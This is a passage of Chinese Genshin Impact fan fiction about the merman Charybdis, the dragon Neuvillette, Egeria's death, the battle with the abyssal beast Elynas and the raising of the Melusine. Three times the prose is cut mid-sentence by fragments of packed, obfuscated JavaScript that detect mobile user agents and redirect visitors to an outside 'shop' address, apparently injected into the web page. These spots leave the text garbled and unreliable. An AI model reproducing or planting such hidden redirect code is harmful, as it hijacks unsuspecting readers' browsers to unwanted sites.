16.祸患是为灾 厄歌莉娅离开枫丹去往其他地方征战的那天,静原双眼流淌着血泪看见了遥远国度发生的灾难,这件事只有那维莱特知晓。后者为此翻遍了水传承的记忆,最终只找到了一个解释。 “你说你在那段记忆中看见了瑰紫色的星空……那可能并非星空,而是沉入地下,位于世界另一面的漆黑物质。”那维莱特顿了顿,“用更为通用的语言来定义那种存在,一般称呼它为【深渊】。不属于提瓦特的,来自世界之外的力量。” 静原捂着眼睛:“怎么看个深渊还要长针眼……” “深渊物质对于元素生命来说是一种可怕的剧毒,元素龙类的抵抗性要更为高一些,力量更强悍的可以反过来操控。龙裔也有一些抗性,你若只是看见深渊倒不会如此,更像是触碰到世界本源的禁忌……”那维莱特也不确定,他俩现在都处于摸着石头过河的生存状态。 “话说回来,我好像多了一些奇怪的记忆。”静原迟疑开口,“那些记忆不属于我。” “是水的记忆吗?”那维莱特作为水元素的至高之王,是能从水中感受情绪与记忆的。理论上,对水元素感知敏锐的其他生命也可以,卡吕普迪斯自然也在其中。 静原扶额:“不是,其中区别我还是能感受到的。我只是,看到了一片甘露与花海……万千灵光破碎又散逸开来。” 他越说越觉得熟悉,甘露与花海……甘露花海…… “厄歌莉娅会死。”他如梦初醒,看向老大,“因为这场诸神的讨伐。” 那个被神明夷平的地下国度即将爆发一场极其猛锐尖利的报复——说实话,静原对此没什么评价。但是他不可能看着枫丹海域就这样被践踏与污染,他会竭尽所能去自卫。 那维莱特不明白:“你要为她守护这个国家?” 未曾踏入人类社会的水龙王不能理解。自己的眷属,龙裔的一员怎么能去帮助神明与人类呢? “我不是为她守护这个国家,我是为自己,也为万千水族守卫家园。”静原清晰的认识到坎瑞亚的报复不日将抵达枫丹,在此之前,他必须争取如今的王的帮助,“神明讨伐那个国家,我们未曾参与,但家国覆灭的仇恨会让他们的报复无视一切阻理智与阻碍。” “我能理解这种仇恨。”那维莱特那双眼睛冷静的注视着自家眷属。 “正因为仇恨的怒火熊熊燃烧,报复无所止境。无论是地上被神明庇护的国家,还是海中的你我,生活在提瓦特的生命,都会在这场复仇的灾难中遭遇重创。因为构成这场灾难的主要物质是深渊力量。”静原闭上眼睛,“我看见了,那维莱特。大地的满目疮痍,众水的哀泣哭嚎。” “……这样么……我明白了。”那维莱特说,“我会庇护水族,一如既往。你是否庇护人类,我都不会置喙。” 他知道卡吕普迪斯喜欢人类,愿意在即将到来的灾难面前守卫他们。人类是神明钟爱的种族,龙类本应厌弃或者远离,但是……他不讨厌。 静原知道那维莱特这是对他行为的放纵,也有了对坎瑞亚灾变的提防,这才松了一口气。 毕竟如今的顶头上司是龙王,龙与神的关系过于复杂,从敌视到友好需要时间的融合。他要帮助被神明庇护的人类,最起码需要龙王的默许。 不然等着因为赚外快被老板骂吧…… “你真是个好老大……不过,这种事要不要通知其他地区的龙类?” “……”那维莱特有些尴尬的别过眼去,“元素龙之间的联系并不紧密。” 静原懂了,明智的岔开话题。 神明对坎瑞亚的讨伐已经接近尾声,但是南方天空岛阴云并未散去,厄歌莉娅也没有回到枫丹。坎瑞亚灾变,从暗之外海回来的【黄金】莱茵多特看见国家覆灭,放出了她所有的造物,那些被制造的魔物涌动着离开她失陷的国家,怀揣造物主的无限愤怒与怨恨,向地上的一切发起不死不休的进攻厮杀…… 这一切尚未飞速蔓延,静原就是在莱茵多特放出魔物之前的这段时间,把生活在枫丹海域的大型水族全部赶去了远离坎瑞亚的深海,鲸群的繁殖季节被他操控力量强行压制。 被迫清心寡欲的鲸群首领友好询问:“漩涡的主人,为何要如此迫切?” “因为灾难就要来了。”静原说,“我知道你们的族群需要频繁浮出海面换气呼吸,但是灾难到来之际尽量减少频率,幼崽不要频繁玩闹。” “这……” “情况乐观的话,污染会被排除在繁殖地之外。不乐观的情况就是我的死亡或者被污染,届时那些漆黑物质会溶于海,你们记得避开。” “什么力量会污染您呢?” “深渊。” 新生的水族未曾听闻深渊的名号,但是看见静原的脸色,也知道这不是肆意玩闹的时候了。经历过雷穆利亚覆灭的老水族能感受到事情的急迫性,纷纷表示明白,会听服静原的命令。 静原照看了这群失去亲王的鲸鱼不知几百年,如今的鲸鱼基本都是他看着长大的,很听他的话,问题得到解答便速速离去。 漆黑的兽潮席卷了提瓦特,那些无生命无机质的魔物不惧痛苦,如狼群一般撕咬它们目光所及的一切活物。 静原通知了龙蜥,这群家伙本来对他鼻子不是鼻子眼睛不是眼睛的,在感知到那维莱特分给他力量后乖巧了不少年月。听到避灾指南后很努力的记忆了,要么躲进密林之中,要么深入海洋。 然后是纯水精灵。很遗憾,静原这么多年也只跟一个纯水精灵认识,对方和龙蜥和平相处多年,也是他的老朋友,听到静原的提醒并不怀疑真实性,而是焦急询问:“水神大人可是遭遇不测,否则你预言中的灾难怎会侵袭枫丹?!” 静原沉默了一会才开口:“很遗憾,在我看到的未来里,她是必然死亡的。*①” 这话像是什么催命符,纯水精灵能感受到就在话音刚落那一瞬间,链接眷属与神明的那根无形纽带如剪刀破开丝绸般,轻易断裂了。 在外处理坎瑞亚灾变的水神厄歌莉娅陨落了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13341508|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >一时间枫丹各地的纯水精灵失声哀哭,枫丹人民未曾忽略这些栖息于净水之中的神明眷属,因此水神战陨的消息在枫丹不是秘密。神明死亡的消息比瘟疫扩散的速度更快,以须弥沙漠为中心向四周扩散。幸运的是,地表的兽潮被神明的尸体拦截了。 据飞鸟转告,陨落于坎瑞亚疯狂报复中的厄歌莉娅尸身化为至纯之水,甘露之海。神鸟西摩格破碎了神形,将灵光散落在甘露上,诞生了花灵与花海,以此抵抗最为凶猛的深渊侵蚀。 那是枫丹与坎瑞亚的最初防线,以神明的死亡躯体为材料。 但那只是一部分深渊魔物,倘若兽境群狼的厮杀被阻拦,那么释放更为残忍且庞大的魔兽如何? [去吧,我的孩子,去和地表的那些美丽生灵起舞吧。] [去吧,我的孩子,去和地上那些人类国度的生命玩耍吧。] [去吧,去吧,去告诉他们,告诉他们你们有多么喜欢他们] 这些庞大身躯里容纳着来自世界之外虚空中的纯净灵魂,它们眷念的看着自己的造物主,自己的母亲。 它们说〔好的,妈妈。〕 杜林回忆起自己的来处和母亲的相处。它是什么?是无法获准诞生的生命,是无法实现的愿望,是彷徨在漆黑宇宙中的、悲哀的未果之梦,借由它这副身躯诞生在这个美丽的世界。 [妈妈,谢谢你,妈妈] [给了我翱翔的翅膀,给了我健壮的身躯] [我啊,想到有美好歌声的地方去,妈妈] [告诉他们,大家的事情,和妈妈的事情] [告诉他们,我出生的地方,有多么美丽]*② 名为杜林的龙形魔兽怀揣着对美丽世界的无限热爱,振翅高飞,翅膀上的毒血挥洒在青青芳草之上,被腐蚀,化作腐臭的污泥。 但它对这一切一无所知,看见了那美丽的宝石之龙朝自己飞来,满心欢喜扑了过去。 [你可真漂亮呀,和我一起玩好不好?] 名为厄里那斯的巨兽来到了这样蔚蓝的海。 这里可真漂亮啊,海水蔚蓝的就像一块平整的圆镜。四周的树青绿,芳草鲜美,风也和煦,阳光温暖。 这里真漂亮啊,妈妈。 你也会喜欢这里的吧,妈妈。 它出生的地方没有海洋,厄里那斯第一次见到海,看得入迷。视野中却出现了一个小小的蓝色身影。深海与海的蔚蓝相融,就像是海的精灵。 [你是谁呀?] 浮出海面的人鱼对它伸出手,它知道这个动作是什么意思,这是“邀请”。 [我叫厄里那斯,这是妈妈给我取的名字。可以和你做朋友吗?小精灵。] 人鱼对它招招手,扭身向外游动了一段距离,然后回过头看着它。 厄里那斯心中一阵柔软,小小的,可爱的,柔软的生命……和它,和它的兄弟们都不一样。 [一起玩吧。] 巨兽伸展躯体,对着海中人鱼扑了过去。 17.与我共舞吧 厄里那斯喜欢这个小小的伙伴。 对方有着和海同色的长发与尾巴,来自美丽的海洋,歌声动听,与它同游,日日夜夜,仿佛不知疲倦。 [你可真有活力……为什么不告诉我你的名字呢?] 静原差一点就要被巨兽的牙齿咬住尾巴,白色尾鳍划过它的脸颊,留下一道浅浅的血痕。 流淌着深渊之血的厄里那斯,莱茵多特派来枫丹的造物。呼吸、血液和皮肤含有剧毒,静原随行左右,以水裹挟巨兽庞大的躯体,不敢让它的血液融入海。 海有自洁手段,但被稀释的毒血依旧是毒,他只能竭尽所能引导厄里那斯远离人类和海族栖息地,靠近和须弥沙漠比邻的苍晶区岛屿,那里人迹罕至,死火山圈外生命稀少。 这些天里不断有人类的军舰靠近,他们知晓就是这样的魔物害死了他们的神明,怀着满腔怒火进攻,厄里那斯甚至未曾注意到身后这些小小的人类,尾巴拍去,轻易就能击碎大半海上舰队。 “跑啊!”静原竭力呼喊,让他们离开,“快跑!不要靠近它!!!” 又一批抵达的人类海军舰队舰长们看向和魔兽撕咬在一起的人鱼,卡吕普迪斯,枫丹海的守护者。庇护枫丹海数百年,如今也在为守护枫丹而战。 对方曾有呼风唤雨操控漩涡的巨大威能,却因为巨兽皮肤和血液含有剧毒,为了不污染海,只能放弃他最为拿手的进攻方式,不断周旋着,引诱巨兽远离人类栖息地,为人类争取了珍贵的喘息和布局时间。 漆黑兽潮因为水神大人的余泽,被控制在了沙漠。现在他们的战士们和神明眷属都回来了,只为将这头野兽葬送。 “卡吕普迪斯大人!陆地军队已经抵达目的地,您不必分神顾忌我们!!” “所有海军舰队听令——碾碎它!!!” “撞上去——把这畜牲往岸上碾!!!” 连海风都是浓郁到令人作呕的血腥味。 [我抓住你啦,小精灵。] [是我赢了,可以告诉我你的名字了吧?] 闪躲不及时被厄里那斯爪子按住的静原只觉得身上压了千座山峦,骨骼一下子被轰碎,五脏六腑支离破碎,嘶哑着咳出血块。 “那维……那维莱特……我要死了……”尾巴迅速失温,湖蓝色的瞳孔涣散,连声音都微弱不可察。 但是厄里那斯听到了,它俯首贴近了人鱼的脑袋。 [你在回答我吗?] [对不起,我听不懂你的语言] 厄里那斯终于感受到了身后的动静,它只是扭头一看,人类的千帆船只义无反顾冲撞而来。 它终于意识到自己在被攻击——那些小小的人类身体里面酝酿着巨大的愤怒。 枫丹引以为傲的海上舰队即使被巨兽压碎,也要将自身化为利刃扎进敌人的胸膛,金属扎进巨兽的血肉之躯,它终于后知后觉感受到名为“疼痛”的情绪。 并非肉痛的疼痛,而是被攻击,被排斥的那种疼。 它不明白,它看向它的小精灵朋友。 对方瘫软在临海的沙滩上,下半身的尾巴再不复过去如粼粼波光般的美丽。身下晕染出深色的血,如同绽开的大朵殷红玫瑰。 静原只觉得有一口气吊着自己,他在巨兽小心翼翼的靠近和目光注视下,抬起手,然后搭在了厄里那斯的鼻吻上。 终于把你哄出来了。 小兔崽子。 静原裂开嘴一笑,好像被踩碎骨骼与身体痛得意识涣散的不是他一样。 人鱼的锋利五指嵌进厄里那斯脆弱的鼻吻,这些当然不足以对莱茵多特的造物产生伤害,厄里那斯甚至以为这是玩耍的一种方式。 重点不在这里,而是被漩涡和浪潮锁定本身。 包裹着厄里那斯浑身的柔和之水已经盛满从它体表体内吸取的毒和血,裹着这些离开巨兽的皮肤后,海水一改平静,洪流与海潮化作锋刃捅进巨兽柔软的腹部,割破它的体表。 厄里那斯喃喃着,感受着皮肤被撕裂和血液流失,它看向对自己绽开笑容的小精灵,看向那些乘着浪碾来的舰队,看向海中的碎片与残肢。 [原来……我是不受欢迎的吗] 我的到来为他们带去了灾祸是吗? 海水打上岸,拖着祂的孩子回归家园。 已经没有办法操控躯体的静原无神的注视着浅海区的光亮,厄里那斯倒在了这座岛上,它过于庞大,首尾足够盖住这座岛。 它和它的兄弟杜林几乎是同一时刻倒下的。 [妈妈,我原来是不被欢迎的啊] [可是妈妈,我还是很喜欢他们] 厄里那斯能感受到船只的金属零件嵌进它的血肉之中,被身躯包裹容纳。那些人类不知疲倦的冲撞,锚与绳索将它分割,海水的锋锐退去,它闭上了眼睛,主动停止了尚且有力鼓动供血的心脏跳动。 至此,巨兽厄里那斯宣告【死亡】*。 它的灵魂缓缓上升,在空中看见了这些小小的人类哭着笑着拥抱彼此,庆贺这次惨痛的胜利终于到来。 厄里那斯说不出心里是什么滋味,啊,对了,它的心脏已经不再跳动了。 那个海的小精灵,他也死亡了吗? 有些遗憾,我还不知道你的名字呢。 静原暂时死不了。 托老大那维莱特的福,尽管那维莱特不愿意参与这类事中,也在默默关注。一旦厄里那斯冲破防线抵达龙王生活的领地,那维莱特一定会扭下它的脑袋。 静原差一点因为厄里那斯那一掌死翘翘,赶紧喊救命,那维莱特从深海海底上浮,接手了那巨大一团吸来的毒血,加速水体的自洁和净化,然后丢到厄里那斯如今倒下的身体里。 至于为什么要如此大费周章的吸取毒血然后又还回去……因为不能让深渊毒素侵蚀正在攻击厄里那斯的静原和人类啊,不能让毒血污染海洋啊。 汲取的毒血最后融进了厄里那斯躯体内,这个操作对水元素的把控要求太高,静原怕自己一个手抖全淋身上了,于是让那维莱特接手。 那维莱特接住了除了脑袋和手臂,其余位置骨骼全碎内脏破裂的可怜眷属。 “为什么不躲开呢?” 人鱼的喉咙盛满了血和内脏碎块,嗬嗬的说不出话来。但是那维莱特知道他的意思。 卡吕普迪斯说:因为我知道你会救我的。 “收拾残局算不上救。” 那也比没人收尸好。 静原咧嘴笑着,尽管眼睛已经看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13363403|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不见了,但是能想象出那维莱特微微皱起来的眉头,那张漂亮的脸上应该浮现出难得的苦恼神色。 嘿嘿,因为你是个好老大啊。 静原两眼一翻,彻底昏死过去。 感谢那维莱特不会轻易放弃一位眷属,静原的小命最终还是保住了,骨骼被打碎又重塑,内脏生长愈合的过程缓慢且痛苦,就连龙王也无法加速这个过程。 静原躺在海床上,瘫的像条咸鱼干,每天就啃一两颗初露之源维持最低的身体机能所需。那维莱特偶尔会离开一阵子,回来后总会告诉他最新的情报。 比如枫丹的漆黑兽潮被彻底拦在了厄里那斯尸身之外,海上防线被拉得很长,纯水精灵们支援须弥去了,北海的鲸群恢复了正常的繁衍。 “龙蜥们呢?” 动物保育员静原还没忘记第二大保护动物,那群生活在伊黎耶林岛的水龙蜥。 那维莱特:“我没有上岸,不知道。” “啊……不好意思忘记这个了。”静原尴尬笑笑,沉默在二人之间弥漫。 那维莱特张开嘴,哑声道:“我原本以为水神死去,我就能收回古龙大权。但是……” “还没有,对吧?”静原和那维莱特并不避讳谈起这类事,后者点点头。 静原看向头顶蔚蓝的海:“神明死亡,但神格会传给下一任神。龙王的至高大权一般都在神手里,要想彻底拿回来,只能彻底摧毁神座。” 将水神的神座从那七把至高尘世执政的交椅中拖离,摧毁。被僭位者收走的水之大权才能回归祂原本的主宰体内。 杀死神明并不会让神座摧毁,那要怎么做呢? 静原隐隐约约记得一点,但是说不出口。他艰难扭头看向一旁静静坐着的那维莱特,后者感受到视线,与他四目相对。 静原笑:“别担心,那维莱特。你总有一天会恢复你原本的力量的。” 那是本属于你的力量。 下一任水神是个聪明又善良的神,就像厄歌莉娅一样。如要破除枫丹人民的诅咒,让你拿回古龙大权是计划中不可或缺的一环。 新的水神,就要从纯水精灵中诞生了吧? 静原收回视线,有些淡漠的想着。 但是那维莱特一句话把他从这样冷漠的旁观者心态中拉回到温暖的人间。 “你为什么甘愿做我和神与人之间的桥梁呢?” 静原微微睁大了一下眼睛,惊愕转瞬即逝,他笑了笑:“怎么这样说?我喜欢人啊。” “是这样吗?”那维莱特迟疑,“你喜欢人……因为那对爷孙?” 因为塔塔利亚和她的爷爷救过你? “所以……你是希望我也深入人群中去,感受这样的情感吗?” 那维莱特对人类不感兴趣,如果不是他以这种模样诞生,他甚至不会对这种岸上的生命投去多余的视线。但是他的眷属似乎有意无意的在加深他和人类的联系。 所以那维莱特才会这样问。 静原沉默了一会,才开口:“你想要的答案,就在那里。” “又看见了什么……”那维莱特不想继续这个话题,抬手合上眷属的眼睛,“休息吧。” 被强行休息的静原也不恼,真的闭上眼睛睡觉了。 18.新朋友,老朋友 等静原长好了骨头可以自如游动之后,已经过去了整整一年。 那维莱特习惯每天给他找食物吃了,这天看见静原自己抱着重甲蟹啃还有点意外。 卡吕普迪斯已经是成年期的人鱼,手臂侧鳍和尾鳍比钢刀更有韧性,也更锋利。尾巴被鳞片包裹,就算如今上岸乱爬乱蹭也不会再像之前那样鳞片外翻掉落,血肉模糊了。 手臂修长,指甲尖锐,一口鲨鱼牙,加上那条尾巴,这是彻头彻尾的深海猎食者配置。就是挑食得没出息,总啃幼崽和少年才吃的初露之源,捕食小型水族,食谱里有一半都是素的。 那维莱特有点担心:“真的不为尾巴多储蓄一些脂肪吗?” 静原吓得直摇头,他可不想生啃脂肪。比被厄里那斯轰碎全身骨头更可怕——你真是委屈不了舌头一点啊。 龙王拿眷属没办法,放任成年后的他到处乱窜了,就和之前一样,在暴风雨天气浮出海面稳定船只,兼职救生员。 静原宅了一年,迫不及待冲出海面透气,然后游去伊黎耶林岛看龙蜥生活得怎么样了。 龙蜥群还是老样子,在群岛密林深处修生养息,各自划分底盘居住繁衍。伊黎耶岛人迹罕至,漆黑兽潮也没有侵蚀这块净土,野生动物数量繁多,食物丰富,它们不知道活得多滋润。 然后去找了老朋友,打算和她聊聊这一年欠下的八卦新闻——那维莱特不爱聊八卦,真是巨大的损失。 老朋友依旧在湖心生活,静原找到她的时候,这个纯水精灵把自己团成一坨默默流眼泪,连有人来了都没理会。 “怎么还哭了呢?” 还在给厄歌莉娅哭丧呢? 纯水精灵哽咽道:“卡吕普迪斯,我就要离开枫丹了……” 纯水精灵离开故土是一件严肃的事情,不到万不得已,这群家伙不会挪窝。 “怎么回事,你详细说说。” 纯水精灵抽抽搭搭告诉了信息滞后的静原一切。原来新上任的水神芙卡洛斯虽然从纯水精灵中诞生,但是对昔日同族却半点情分也无,强硬的派遣纯水精灵离开枫丹去其他国家监视神明动向。 拗不过芙卡洛斯的其他纯水精灵边骂边收拾行李离家,顽固分子还留守在各自栖息地。就在前几天,芙卡洛斯发表声明,以神权指令它们必须离开枫丹。 “怎么会有这样的神明……真是太可恶了,这不是自拆擂台是什么?”谁家神明会把眷属往外赶? 忘了,老水神厄歌莉娅已经死了,它们这些纯水精灵是旧派势力。 纯水精灵说到伤心处又是一顿好哭。 “我已经在收拾东西了,你要不来见我,恐怕咱俩连最后一面也见不上了。” 静原表示震惊:“你要去哪?” “去哪都行,反正枫丹我是待不下去了。呜呜呜呜……厄歌莉娅大人,您要是还活着,我们哪至于沦落到如此地步……” 哭了一会,她才告诉静原:“洛蒂娅去了璃月,伊迪娅朝着沙漠出发,卡莉露去蒙德……我就去至冬好了,那里有冰川与海,总有湖泊能留我住下……” 静原唏嘘:“监视冰神哦……” “哎呀你小声点!”她哭着去捂静原的嘴,“我哪里敢监视神明,芙卡洛斯就是找个借口把我们打发走……哼,我都知道。谁让她是水神,只能如她的愿。” “卡吕普迪斯,我真的走了哦。至冬那么冷,你肯定不会去找我,那我给你留一些东西。你交新朋友可不许忘了我!”纯水精灵递来一颗净水之心,“你和深渊魔物的交战我看到了,真的很厉害,换作是我的话,接触它的第一时间就被污染了……” “这颗心留给你,它有我的一份力量,可以抵挡一部分的污秽,也能提纯海水化为纯水,不过我的力量有限,这颗心能做的也不多……你不会嫌弃吧?你要是敢嫌弃的话,我就!我就哭给你看!” 静原:“怎么比以前更幼稚了……好了我知道你被水神气昏了头,我不嫌弃,一定会好好珍藏的。” 她这才笑起来:“你人真好。卡吕普迪斯,水神若是要赶你走的话,就去至冬找我吧,咱们还是每天说话聊天。” “她可赶不走我。”静原珍而重之收好这份礼物,然后抱臂。 “险些忘了你是水族龙王的眷属,自然和我们不同。唉,也是被气糊涂了……” 又说了一会话,纯水精灵这才焉头耷脑的离开伊黎耶林岛,朝着北方去了。 静原透过林岛层层叠叠的绿看去,这家伙半路遇到同行伙伴,高高兴兴手挽着手一起北上至冬去了。 静原:所以伤心都是假的吗? 当然不是假的,她能在背井离乡时遇到同行伙伴,多少有几分慰籍。 但是她一走,静原从雷穆利亚时代认识的人就只剩一个那维莱特还在了。 他多少有些难以释怀,摘了一束湖光铃兰去看塔塔利亚,夜幕降临之后回归深海。 当那维莱特告知他自己收到了新任水神芙卡洛斯的信,询问他是否应该应水神的邀请去往岸上。 静原当然是支持的:“你不是一直很疑惑自己为何以人的形态诞生吗?深入人类社会,或许能找到答案。” “……”那维莱特垂下眼睫,又抬起眼睛看静原,“你愿意和我一起去吗?” 卡吕普迪斯毕竟和人类的接触比他要多。 “怎么?一条龙上岸有些害怕?”静原安慰他,“我没有办法长时间待在岸上,只能你自己深入人类社会了。不必害怕异族,我知道你不愿意以王的威严面对人类,那就多看多听多想,三思而后行吧。” “三思……而后行吗?” “遇到你难以理解或者不懂的问题,问水神,问人类,问我都可以。”静原温柔的注视着龙王,“我一直在这里,你需要我的时候我一直在。” “我知道的,我会这样做。”那维莱特又开始思考,“不愿意暴露身份的话,是不是应该掩饰一二?” 静原在海里转了个圈:“人类是一群擅长脑补的生物,你只需给一个方向,他们会自己构造框架填补血肉,并且对自己的推论深信不疑,加以证据佐证。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13377302|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>那维莱特惊叹:“真是厉害啊。” “你以后就知道了……” “那在离开之前,我带你去见见一群孩子吧。” “嗯?” 厄里那斯尸骸中诞生了一群不同于人类的美丽异族。小小的,柔软的,手掌一张一合并不适应精细化作业,有着翅膀或者尾巴,身体上布满颜色不同的斑纹…… “这个智慧种族是美露莘,我发现她们的时候,都是懵懂的,初开混沌的模样。” “很可爱。”静原如实说道,他知道厄里那斯尸骸中会诞生这样一群小生命,但是实物比游戏建模更可爱,“你想养?” “她们从厄里那斯身体中诞生,厄里那斯又有龙族血统……我想,我理应承担起照顾她们的责任。” “我明白,她们也是龙裔的一员。”静原无奈,“伊黎耶林岛的水龙蜥你放任自流,厄里那斯的美露莘你倒是上赶着收养……它们知道消息后,会闹的。” 可是谁让水龙王以人的形态降生,天生更亲近和人类相似的水族。比如人鱼卡吕普迪斯,比如美露莘。 那维莱特把美露莘介绍给了著名的水族保育员卡吕普迪斯之后,一步三回头离开了厄里那斯体内,只身踏入枫丹廷。 留下静原和这群懵懂但是好奇注视着自己的美露莘们大眼瞪小眼。 “什么都不懂的话,我得带你们生活一阵子了。”他浮在水潭里,身边是凑过去闻闻嗅嗅好奇上手摸摸的美露莘们,这让他仿佛看见了小小的塔塔,一颗心也变得柔软,“我叫卡吕普迪斯,那维莱特的眷属,也算是你们的前辈了。” 美露莘们之前被那维莱特教过一些常用的词汇,听得懂绝大多数话,对静原的接手并不排斥抗拒,亲密的凑过来,一点也不见外。 也许是继承了父亲厄里那斯对于深海精灵的喜爱,美露莘们对静原总有一种说不出来的温暖感情。 在静原教导下学会流畅表达想法的美露莘们说:“卡吕普迪斯大人,您见过我们的父亲吗?” “那维莱特?” “那维莱特大人也算是我们美露莘的【父亲】吧,但是我想问的是让我们诞生的父亲。”说这话的美露莘是个主色调为粉色的孩子,“我们中的一部分,能和父亲感知交流,他没有离开我们,一直在这里。但是我们不知道他在哪里,卡吕普迪斯大人,您知道吗?” 静原神色复杂,环顾美露莘们生活的小聚落,已经有了未来海沫村的雏形。四周是尚未被流水侵蚀的骨骼,藻类丛生,外界的流水在巨兽的身体里畅通无阻,内脏和血管将庞大的躯体分成了好几个独立空间——美露莘们四处探险的时候并未隐瞒静原,他也是知道的。 静原听不懂厄里那斯的语言,但是他知道厄里那斯的名字,也知道美露莘是因为什么而诞生的——每一只美露莘都有一个宝贝得不得了的金属零件,那是伴生物品。也是当年枫丹海军舰队扎入厄里那斯血肉中的残骸。 “我知道的,我当然知道,孩子们。”静原摸摸小家伙的头,“它是厄里那斯,是……枫丹的客人。” 19.我堂堂保育员 静原不太会讲故事,他用尽可能温柔的词汇告诉美露莘们,厄里那斯是她们的父亲,是枫丹的客人,长眠于此,苍晶区这座山脉和岛屿都可以被更名为厄里那斯。 “以此纪念新枫丹的诞生。” 厄里那斯那场战役,无数海军葬送,他如果不是生命力异常旺盛,被那维莱特吊着一口气救回来,怕是也要成为孕育美露莘们的养料了。 旧枫丹已经成为过去式,新水神上位,新枫丹诞生。厄里那斯的死亡即是漆黑兽潮与旧枫丹历史的终结,纪念新枫丹的诞生——这句话倒也没说错。 美露莘中会质疑他话语的毕竟是少数,而且不会当面提出反对言论。因此这群小姑娘们得知父亲的消息后,欢欢喜喜问其他问题了。 当初那团毒血将泥土染成赤红,一部分水下洞穴都燃烧着火,沸腾着水。美露莘们天生具备极高的抗性,倒是无所谓。静原跟在她们身后照顾的时候往往困于尾巴,不能走得太远,才没有再次接触毒血。 时间会让那些深渊的污秽与血液的毒凝结,缓缓净化。后世者踏入此间,不会被轻易污染。 带孩子可不仅要考虑安全,还要满足她们的期待与愿望。不知从何时起,美露莘们对陆地上的人类生出无限好奇,自打回来看望眷属们的那维莱特告诉她们:静原和人类打过几百年的交道比他更多后,小家伙们就经常请求静原带她们去看看人类。 “……”静原看向那维莱特,你不干好事。 那维莱特:“眷属们的期待总是应该尽力满足的。” 他也是这样对待卡吕普迪斯的。 静原没办法,只能带着身后一群欢天喜地的小尾巴去往外界的大海,在风和日丽的晴朗天气浮出海面,指引她们去看驶过千帆船只上的人类,去看岸边渔镇忙碌的生活,去看港口码头的浮世百姿。路上遇到了北海繁殖季结束的鲸群带着幼崽回来,也加入了枫丹人类观光旅团。鲸鱼驮着游累了的美露莘们,一时间欢笑声与惊叹声不断。 被参观的人类:明明我们才是多数群体,为什么会有一种被参观展览的感觉…… 人类对这群有着类人外表但奇怪的蜥蜴群体表示惊恐,但是出于对【卡吕普迪斯】这个庇护枫丹海几百年的名字的信任,有胆大的和美露莘们打招呼。 小家伙们热情回应:“可爱的人类,你们好呀~” 静原背上趴着两个小美露莘,经过海上的货船船长一扭头,原本打算看个热闹,谁知道看见静原给玩累了的孩子们喂食物,好奇开口:“这是您生的孩子吗?” “没有那个功能。”静原和船长搭话,“这是新诞生的种族美露莘,我带她们出来看看枫丹是什么样子。” “真是——奇妙的生灵啊。”船长赞叹,“她们也会和您一起护航枫丹海吗?” 静原开始打预防针:“不一定,她们比我更亲近人,兴许上岸呢。” 鲸鱼的呼吸孔喷出水花,逗得美露莘们咯咯笑。 “卡吕普迪斯大人信任的种族一定会是人类友好的伙伴,我期待在岸上看见她们身影的那一天到来。” 静原这些年不是白照顾人类的,有好些在暴风雨天气被他拉过一把的水手船工自发的转告其他人,这支新诞生的智慧种族美露莘是多么可爱纯真的生命。 不枉静原费心费力安排这一场巡游,挑了个船最多的时候露面。 当越来越多的美露莘希望加入人类社会,像那维莱特和卡吕普迪斯一样保护小小的可爱人类后,王回应她们的愿望——将这些许愿的美露莘们带入了枫丹廷,在自身还未站稳脚跟的情况下,努力让这群小家伙立足。 剩下对人类社会没有太多兴趣的美露莘还是由静原照顾,在厄里那斯身体里建造了适宜她们居住的房屋和村落,引来纯净的湖泊饮用水,顺着巨兽干涸的血管流通,水潭封锁家门,只许被美露莘或者静原和那维莱特这两个家长认可的存在随意进出。 毕竟美露莘纯真善良,没什么防人之心,有不怀好意的家伙潜入海沫村打劫屠戮那真是完蛋了。 留下来的美露莘们学着人类的模样,给自己穿上上衣,发展出不同的爱好:绘画,烹饪,寻宝,冒险,种花,交易……在她们可以独立后,静原不再天天往返苍晶区和海洋了。倒是有几个美露莘提出想要跟着静原生活,和他一起守卫枫丹海。 “算不上守卫枫丹海,只是打扫家里的垃圾。”静原摊手,“人类的船只货物如果在暴风雨中沉没,会留下难以被海腐蚀消融的东西,清理难度更大。” 美露莘们你看我我看你。 “这就是瑟琳姐姐说的口嫌体正直吧。” 静原羞恼:“你们都在学什么啊。” 最后还是没有真正拒绝美露莘们,静原带着这几个小姑娘在海中四处巡游,教她们感知洋流暗潮,教她们如何维护水体的洁净,教她们维系海洋生态的平衡。 格蕾丝蒂好奇:“海洋里有好多小鱼,泛滥的话,需要有大鱼吃掉。小鱼数量少的话,就要控制大鱼数量吗?” 